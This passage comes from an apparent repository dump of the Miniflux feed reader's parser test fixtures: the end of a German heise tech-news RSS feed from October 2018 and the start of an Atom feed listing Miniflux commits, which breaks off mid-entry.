Office-Programme: Neue Dokumente in Browserzeile anlegen</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Google-Docs-Neue-Dokumente-in-Browserzeile-anlegen-4205346.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Für seine webbasierten Office-Programme hat Google eine praktische Abkürzung direkt in die Anwendungen Docs, Sheets, Slides und Forms veröffentlicht.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Wo Hobby-Astronomen den Profis voraus sind</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Wo-Hobby-Astronomen-den-Profis-voraus-sind-4205332.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Hobby-Astronomen leisten einen wertvollen Beitrag zur Wissenschaft, etwa durch das Beobachten veränderlicher Sterne oder die Suche nach Meteoriten.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Zahlen geschönt? FBI-Untersuchung gegen Tesla</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Zahlen-geschoent-FBI-Untersuchung-gegen-Tesla-4205285.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Es besteht der Verdacht, dass Tesla Produktionszahlen wissentlich überoptimistisch vorhergesagt hat. Das FBI ermittelt strafrechtlich.</description>\n\t</item>\n\n\t<item>\n\t\t<title>c't uplink 24.6: Linux mit UEFI / OLED-Defekte / Dropbox-Alternativen</title>\n\t\t<link>https://www.heise.de/ct/artikel/c-t-uplink-24-6-Linux-mit-UEFI-OLED-Defekte-Dropbox-Alternativen-4205070.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Die c't-uplink Show: Dieses Mal mit eingebrannten Logos bei OLED-TVs, Alternativen zu Dropbox und wie man Linux am besten mit UEFI verheiratet.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Die Bilder der Woche (KW 43): Von Porträt bis Landschaft</title>\n\t\t<link>https://www.heise.de/foto/meldung/Die-Bilder-der-Woche-KW-43-Von-Portraet-bis-Landschaft-4204550.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Blickfang: Unsere Bilder des Tages haben in dieser Woche keine Scheu vor direktem Augenkontakt und Spiegelbildern.</description>\n\t</item>\n\n\t<item>\n\t\t<title>BIOS-Option macht ThinkPads zu Briefbeschwerern</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/BIOS-Option-macht-ThinkPads-zu-Briefbeschwerern-4205185.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Ein einziger Klick im BIOS-Setup - und einige aktuelle Lenovo-Notebooks starten nicht mehr; eine Lösung des Problems fehlt noch.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Markenstreit um “Dash”: Bragi beantragt einstweilige Verfügung gegen Oneplus</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Markenstreit-um-Dash-Bragi-beantragt-einstweilige-Verfuegung-gegen-Oneplus-4205223.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Der Hersteller der smarten Kopfhörer “The Dash” sieht seine Markenrechte durch die Schnelladegeräte der chinesischen Smartphones verletzt.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Übernahme von GitHub durch Microsoft abgeschlossen</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Uebernahme-von-GitHub-durch-Microsoft-abgeschlossen-4205119.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Microsofts Übernahme von GitHub ist abgeschlossen. Ab Montag beginnt die Arbeit des neuen CEO Nat Friedman. Er will GitHub für die Entwickler besser machen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Webhosting und Cloud Computing: Aus 1&amp;1 und ProfitBricks wird 1&amp;1 Ionos</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Webhosting-und-Cloud-Computing-Aus-1-1-und-ProfitBricks-wird-1-1-Ionos-4205066.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>1&amp;1 bietet seine Webhosting- und Cloud-Produkte künftig unter dem Namen 1&amp;1 Ionos an. Besserer Service soll Unternehmen den Cloud-Start schmackhaft machen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>iPhone XR: Die 10 wichtigsten Testergebnisse</title>\n\t\t<link>https://www.heise.de/mac-and-i/meldung/iPhone-XR-Die-10-wichtigsten-Testergebnisse-4204845.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Seit heute ist das dritte und günstigste von Apples neuen Smartphones im Handel. Mac &amp; i konnte es bereits testen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Motorola One: Android-One-Smartphone für 299 Euro im Test</title>\n\t\t<link>https://www.techstage.de/news/Motorola-One-im-Test-Android-One-Smartphone-mit-Notch-4203618.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Das Motorola One ist ein Smartphone mit schickem Design und Android One als Betriebssystem. Ob und für wen sich der Kauf lohnt, hat TechStage getestet.</description>\n\t</item>\n\n\t<item>\n\t\t<title>US Copyright Office: DRM darf für Reparaturen umgangen werden</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/US-Copyright-Office-DRM-darf-fuer-Reparaturen-umgangen-werden-4205173.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>In den USA ist es künftig legal, den Kopierschutz elektronischer Geräte zu knacken, um etwa sein Smartphone, Auto oder den vernetzten Kühlschrank zu reparieren.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Ausprobiert: Haptik-Datenhandschuhe von Senseglove</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Ausprobiert-Haptik-Datenhandschuhe-von-Senseglove-4205142.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Der Senseglove-Datenhandschuh trackt nicht nur jeden Finger, sondern simuliert auch Widerstand und Haptik. Wir haben ihn ausprobiert.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Apple News soll &quot;Netflix für Nachrichten&quot; werden</title>\n\t\t<link>https://www.heise.de/mac-and-i/meldung/Apple-News-soll-Netflix-fuer-Nachrichten-werden-4204886.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Apple betreibt für seinen hauseigenen Infodienst eine eigene Redaktion – und setzt kaum auf Algorithmen. Im Abo könnten bald diverse Magazine hinzukommen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Xbox One X im 4K-Test: Spaßzentrale für UHD-TVs</title>\n\t\t<link>https://www.techstage.de/news/Xbox-One-X-im-4K-Test-Spasszentrale-fuer-UHD-TVs-4204803.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Die aktuelle Xbox One X bewirbt Microsoft als idealen Zuspieler für UHD-Fernseher. Wir haben ihre 4K-Fähigkeiten bei Filmen und Spielen getestet. </description>\n\t</item>\n\n\t<item>\n\t\t<title>Red Dead Redemption 2: Die Entschleunigung des Action-Adventures</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Red-Dead-Redemption-2-Die-Entschleunigung-des-Action-Adventures-4205034.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Nach dem Live-Stream: Unsere Eindrücke aus den ersten Stunden des Gaming-Blockbusters Red Dead Redemption 2.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Grüne: Netzbetreiber sollen Breitband-Universaldienst finanzieren</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Gruene-Netzbetreiber-sollen-Breitband-Universaldienst-finanzieren-4205022.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Schwarz-Rot will bis spätestens 2025 einen Anspruch auf Breitband für alle gesetzlich verankern. Die Grünen sehen dagegen sofortigen Handlungsbedarf.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Programmiersprache: Rust 1.30 will mehr Klarheit schaffen</title>\n\t\t<link>https://www.heise.de/developer/meldung/Programmiersprache-Rust-1-30-will-mehr-Klarheit-schaffen-4204893.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Der Umgang mit absoluten Pfaden und neue prozedurale Makros sind die Highlights der aktuellen Rust-Version.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Apples Oktober-Event: iPad Pro 2018 und neue Macs vor der Tür</title>\n\t\t<link>https://www.heise.de/mac-and-i/meldung/Apples-Oktober-Event-iPad-Pro-2018-und-neue-Macs-vor-der-Tuer-4204922.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Nach der Einführung der iPhones wird sich Apple der Zukunft seiner Computer zuwenden: Wichtige Neuerungen stehen an. </description>\n\t</item>\n\n\t<item>\n\t\t<title>Magento-Shops: Verwundbare Add-ons als Schlupfloch für Kreditkarten-Skimmer</title>\n\t\t<link>https://www.heise.de/security/meldung/Magento-Shops-Verwundbare-Add-ons-als-Schlupfloch-fuer-Kreditkarten-Skimmer-4204828.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Ein Sicherheitsforscher warnt vor knapp über 20 Add-ons, die Onlineshops basierend auf der Magento-Software angreifbar machen. </description>\n\t</item>\n\n\t<item>\n\t\t<title>Atomkraft: Gericht kippt Schließungs-Dekret für Fessenheim</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Atomkraft-Gericht-kippt-Schliessungs-Dekret-fuer-Fessenheim-4204853.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Der Conseil d'État hat zu Gunsten der Gemeinde Fessenheim und der Gewerkschaften entschieden.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Qt Design Studio erreicht Version 1.0</title>\n\t\t<link>https://www.heise.de/developer/meldung/Qt-Design-Studio-erreicht-Version-1-0-4204902.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Neue Funktionen wie die Qt Photoshop Bridge und zeitachsenbasierte Animationen sollen die Zusammenarbeit von Entwicklern und Designern vereinfachen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Vodafone bringt Mini-Handy von Palm nach Deutschland</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Vodafone-bringt-Mini-Handy-von-Palm-nach-Deutschland-4204878.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Das neue Palm kommt auch in Deutschland auf den Markt: Vodafone bringt das kuriose Mini-Handy exklusiv in den Handel. </description>\n\t</item>\n\n\t<item>\n\t\t<title>Xeons und Modems bescheren Intel Rekordquartal</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Xeons-und-Modems-bescheren-Intel-Rekordquartal-4204869.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Starke Nachfrage nach Prozessoren für Cloud-Rechenzentren sowie LTE-Modems lassen bei Intel die Gewinne sprudeln und bescheren gute Aussichten.</description>\n\t</item>\n\n\t<item>\n\t\t<title>KI druckt Kunst: Auktionshaus Christie's versteigert KI-Gemälde für 380.000 Euro</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/KI-druckt-Kunst-Auktionshaus-Christie-s-versteigert-KI-Gemaelde-fuer-380-000-Euro-4204793.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Das renommierte Auktionshaus Christie's hat erstmals ein von einer KI erschaffenes Bild versteigert. Der Preis war wesentlich höher als erwartet.</description>\n\t</item>\n\n\t<item>\n\t\t<title>EU-Parlament verabschiedet Resolution zur Datenschutzuntersuchung bei Facebook </title>\n\t\t<link>https://www.heise.de/newsticker/meldung/EU-Parlament-verabschiedet-Resolution-zur-Datenschutzuntersuchung-bei-Facebook-4204766.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Facebook soll mehr Aufklärung über seine Datenschutzpraxis leisten. Das EU-Parlament hat deshalb eine Untersuchung durch EU-Institutionen verabschiedet.</description>\n\t</item>\n\n\t<item>\n\t\t<title>IBM setzt auf 277.000 Apple-Geräte</title>\n\t\t<link>https://www.heise.de/mac-and-i/meldung/IBM-setzt-auf-277-000-Apple-Geraete-4204728.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Bei IBM stellen Macs inzwischen ein Viertel aller Laptops. Das Open-Source-Tool Mac@IBM soll auch Admins anderer Firmen die Einrichtung erleichtern.</description>\n\t</item>\n\n\t<item>\n\t\t<title>heise-Angebot: #TGIQF - das c't-Retroquiz: 8 Bit &amp; mehr</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/TGIQF-das-c-t-Retroquiz-8-Bit-mehr-4202717.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>C64, ZX Spectrum, Apple II ... die Heimcomputer lösten eine IT-Revolution in den Kinderzimmern aus. Wie viel ist aus der Zeit bei Ihnen hängen geblieben?</description>\n\t</item>\n\n\t<item>\n\t\t<title>heise-Angebot: c't Fotografie: Spiegeloses Vollformat im Test</title>\n\t\t<link>https://www.heise.de/foto/meldung/c-t-Fotografie-Spiegeloses-Vollformat-im-Test-4201826.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Lange war Sony der einzige Anbieter für spiegellose Vollformatkameras. Mit der Canon EOS R und der Nikon Z-Serie werden die Karten neu gemischt.</description>\n\t</item>\n\n\t<item>\n\t\t<title>British-Airways-Hack: 185.000 weitere Kunden betroffen</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/British-Airways-Hack-185-000-weitere-Kunden-betroffen-4204675.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Die Fluggesellschaft hat nun bekanntgegeben, dass bis dato Unbekannte Kreditkartendaten von noch mehr Kunden als bislang bekannt kopiert haben.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Google: 48 Mitarbeiter wegen sexueller Belästigung gefeuert</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Google-48-Mitarbeiter-wegen-sexueller-Belaestigung-gefeuert-4204687.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Der Weggang von Android-Schöpfer Andy Rubin von Google war wohl nicht freiwillig – ihm wurde sexuelle Nötigung vorgeworfen. Und er war nicht der einzige.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Fujitsu schließt Werk in Augsburg</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Fujitsu-schliesst-Werk-in-Augsburg-4204722.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Fujitsu plant einen Konzernumbau. In Augsburg sind davon 1500 Beschäftigte betroffen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Ego-Shooter Metro 2033 bei Steam kostenlos</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Metro-2033-ist-bei-Steam-heute-kostenlos-4204706.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Metro 2033 wird am heutigen Freitag auf Steam kostenlos angeboten. Der Ego-Shooter basiert auf dem gleichnamigen Roman von Dmitri Gluchowski.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Lightroom-Alternative: DxO bringt PhotoLab 2 </title>\n\t\t<link>https://www.heise.de/foto/meldung/Lightroom-Alternative-DxO-bringt-PhotoLab-2-4204614.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>PhotoLab gibt es nun in Version 2: Verbessert wurde unter anderem die Bildverwaltung, zudem integriert DxO die von den Nik-Filtern bekannte U-Point-Technologie.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Google schaltet Nearby Notifcations in Android ab</title>\n\t\t<link>https://www.heise.de/developer/meldung/Google-schaltet-Nearby-Notifcations-in-Android-ab-4204667.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Die Funktion für standortbasierte Benachrichtigungen lieferte wohl mehr Spam als nützliche Inhalte.</description>\n\t</item>\n\n\t<item>\n\t\t<title>iPhone XR: Verkaufsstart ohne Ansturm</title>\n\t\t<link>https://www.heise.de/mac-and-i/meldung/iPhone-XR-Verkaufsstart-ohne-Ansturm-4204679.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Apple bringt die billigeren und bunten iPhone-Modellreihe in den Handel. Groß anstehen mussten Kunden dafür nicht.\r\n</description>\n\t</item>\n\n\t<item>\n\t\t<title>Snapchat: Aktienabsturz durch Nutzerschwund</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Snapchat-Aktienabsturz-durch-Nutzerschwund-4204631.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Snapchat laufen weiterhin die Nutzer weg – und das wird sich vorerst nicht ändern, sagt Snap. Die Aktie stürzte trotz geringerer Verluste um zehn Prozent ab.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Mi Mix 3: Xiaomi-Flaggschiff mit Kamera-Slider und 10 GByte RAM</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Mi-Mix-3-Xiaomi-Flaggschiff-mit-Kamera-Slider-und-10-GByte-RAM-4204655.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Xiaomis nächstes Flaggschiff bietet eine fast randlose Display-Front. Die Selfie-Kamera ist in einem magnetischen Slider-Mechanismus untergebracht.</description>\n\t</item>\n\n\n\n</rdf:RDF>"
  },
  {
    "path": "internal/reader/parser/testdata/small_atom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<feed xmlns=\"http://www.w3.org/2005/Atom\" xmlns:media=\"http://search.yahoo.com/mrss/\" xml:lang=\"en-US\">\n  <id>tag:github.com,2008:/miniflux/v2/commits/main</id>\n  <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commits/main\"/>\n  <link type=\"application/atom+xml\" rel=\"self\" href=\"https://github.com/miniflux/v2/commits/main.atom\"/>\n  <title>Recent Commits to v2:main</title>\n  <updated>2024-03-12T05:30:27Z</updated>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/6d97f8b4582414b6ce69467656824690057d4793</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/6d97f8b4582414b6ce69467656824690057d4793\"/>\n    <title>\n        Parse podcast categories\n    </title>\n    <updated>2024-03-12T05:30:27Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/323546?s=30&amp;v=4\"/>\n    <author>\n      <name>fguillot</name>\n      <uri>https://github.com/fguillot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Parse podcast categories&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/f8e50947f2885047155a8070dddab133a5c685c2</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/f8e50947f2885047155a8070dddab133a5c685c2\"/>\n    <title>\n        Move iTunes and GooglePlay XML definitions to their own packages\n    </title>\n    <updated>2024-03-12T05:09:31Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/323546?s=30&amp;v=4\"/>\n    <author>\n      <name>fguillot</name>\n      <uri>https://github.com/fguillot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Move iTunes and GooglePlay XML definitions to their own packages&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/9a637ce95e05459adc4712027e6a07eaabcfe657</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/9a637ce95e05459adc4712027e6a07eaabcfe657\"/>\n    <title>\n        Refactor RSS parser to use default namespace\n    </title>\n    <updated>2024-03-12T04:07:13Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/323546?s=30&amp;v=4\"/>\n    <author>\n      <name>fguillot</name>\n      <uri>https://github.com/fguillot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Refactor RSS parser to use default namespace\n\nThis change avoid some limitations of the Go XML parser regarding XML namespaces&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/d3a85b049b14d4a4ddd6b813134b2abd45fe5e8d</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/d3a85b049b14d4a4ddd6b813134b2abd45fe5e8d\"/>\n    <title>\n        jsminifier: set JavaScript version\n    </title>\n    <updated>2024-03-12T02:02:52Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/323546?s=30&amp;v=4\"/>\n    <author>\n      <name>fguillot</name>\n      <uri>https://github.com/fguillot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;jsminifier: set JavaScript version&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/5bcb37901c60463b27e1211e0f68295f213b19e6</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/5bcb37901c60463b27e1211e0f68295f213b19e6\"/>\n    <title>\n        Use crypto.GenerateRandomBytes instead of doing it by hand\n    </title>\n    <updated>2024-03-11T23:31:43Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Use crypto.GenerateRandomBytes instead of doing it by hand\n\nThis makes the code a bit shorter, and properly handle\ncryptographic error conditions.&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/9c8a7dfffe2f4596dcbde2c923a7539914bb252f</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/9c8a7dfffe2f4596dcbde2c923a7539914bb252f\"/>\n    <title>\n        Make use of HashFromBytes everywhere\n    </title>\n    <updated>2024-03-11T22:22:22Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Make use of HashFromBytes everywhere\n\nIt feels a bit silly to have a function and to not make use of it.&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/74e4032ffc9faad4fec602f283a32d2af8dec47e</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/74e4032ffc9faad4fec602f283a32d2af8dec47e\"/>\n    <title>\n        Small refactor of app.js\n    </title>\n    <updated>2024-03-11T22:18:57Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Small refactor of app.js\n\n- replace a lot of `let` with `const`\n- inline some `querySelectorAll` calls\n- reduce the scope of some variables\n- use some ternaries where it makes sense\n- inline one-line functions&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/fd1fee852cb35fa0f5b0ed6dc0c23b4a6ce368c3</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/fd1fee852cb35fa0f5b0ed6dc0c23b4a6ce368c3\"/>\n    <title>\n        Simplify DomHelper.getVisibleElements\n    </title>\n    <updated>2024-03-11T22:03:00Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Simplify DomHelper.getVisibleElements\n\nUse a `filter` instead of a loop with an index.&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/c51a3270da1f6af796b7d23fa4b434ccf11818e7</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/c51a3270da1f6af796b7d23fa4b434ccf11818e7\"/>\n    <title>\n        GitHub Actions: Add basic ESLinter checks\n    </title>\n    <updated>2024-03-11T03:57:27Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/323546?s=30&amp;v=4\"/>\n    <author>\n      <name>fguillot</name>\n      <uri>https://github.com/fguillot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;GitHub Actions: Add basic ESLinter checks&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/45fa641d26a5f68e663aa9af72e97523d8d63c1e</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/45fa641d26a5f68e663aa9af72e97523d8d63c1e\"/>\n    <title>\n        Fix JavaScript linter path in GitHub Actions\n    </title>\n    <updated>2024-03-11T03:37:18Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/323546?s=30&amp;v=4\"/>\n    <author>\n      <name>fguillot</name>\n      <uri>https://github.com/fguillot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Fix JavaScript linter path in GitHub Actions&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/fd8f25916b025a92b1b8349ef9d0acdb832a9e8e</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/fd8f25916b025a92b1b8349ef9d0acdb832a9e8e\"/>\n    <title>\n        First steps towards trusted-types support\n    </title>\n    <updated>2024-03-11T03:14:30Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;First steps towards trusted-types support\n\nRefactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to\nenabled trusted-types in report-only mode via `&amp;lt;meta&amp;gt;` tags, see\nhttps://github.com/w3c/webappsec-csp/issues/277&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/826e4d654f511ea8d1d385bdc09cbed69ff6a70f</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/826e4d654f511ea8d1d385bdc09cbed69ff6a70f\"/>\n    <title>\n        Replace DomHelper.findParent with .closest\n    </title>\n    <updated>2024-03-11T03:06:54Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Replace DomHelper.findParent with .closest\n\nSee https://developer.mozilla.org/en-US/docs/Web/API/Element/closest&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/d9d17f0d69d1dafb3bd9d81bf9fc27df3def4f4c</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/d9d17f0d69d1dafb3bd9d81bf9fc27df3def4f4c\"/>\n    <title>\n        Use a `Set` instead of an array in a KeyboardHandler&#39;s member\n    </title>\n    <updated>2024-03-11T02:41:13Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Use a `Set` instead of an array in a KeyboardHandler&amp;#39;s member\n\nThe variable `triggers` is only used to check if in contains a particular\nvalue. Given that the number of keyboard shortcuts is starting to be\nsignificant, let&amp;#39;s future-proof the performances and use a `Set` instead of an\n`Array` instead.&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/eaaeb68474ff194f682e9521a848d7ab2c89348e</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/eaaeb68474ff194f682e9521a848d7ab2c89348e\"/>\n    <title>\n        Fix conditions to publish packages in GitHub workflows\n    </title>\n    <updated>2024-03-10T19:25:13Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/323546?s=30&amp;v=4\"/>\n    <author>\n      <name>fguillot</name>\n      <uri>https://github.com/fguillot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Fix conditions to publish packages in GitHub workflows&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/382885f14403526adfa6c303927889c76fd5a1eb</id>\n    <link type=\"text/html\" rel=\"alternate\" 